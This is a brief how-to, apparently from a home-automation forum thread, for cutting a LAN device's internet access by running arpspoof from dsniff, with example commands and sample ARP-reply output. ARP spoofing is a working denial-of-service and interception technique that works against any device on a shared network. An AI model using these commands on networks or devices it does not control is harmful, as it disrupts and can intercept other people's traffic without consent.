Install below package
sudo apt-get install dsniff
Find your interface and router's IP address using ifconfig
command
if you are on wifi it is usualy wlan0
and for ethernet eth0
.
Find the IP address of the device you wish to block internet for and fill in place of CHILD_ADRS
below.
Do the same for ROUTER_ADRS
.
sudo arpspoof -i INTERFACE -t CHILD_ADRS ROUTER_ADRS
sudo arpspoof -i wlp3s0 -t 192.168.0.82 192.168.0.1
28:b2:bd:43:f5:35 be:f4:6d:d7:71:2b 0806 42: arp reply 192.168.0.1 is-at 28:b2:bd:43:f5:35
.
.
.
28:b2:bd:43:f5:35 be:f4:6d:d7:71:2b 0806 42: arp reply 192.168.0.1 is-at 28:b2:bd:43:f5:35
https://community.home-assistant.io/t/cut-internet-temporarily-in-a-device-in-your-lan/20000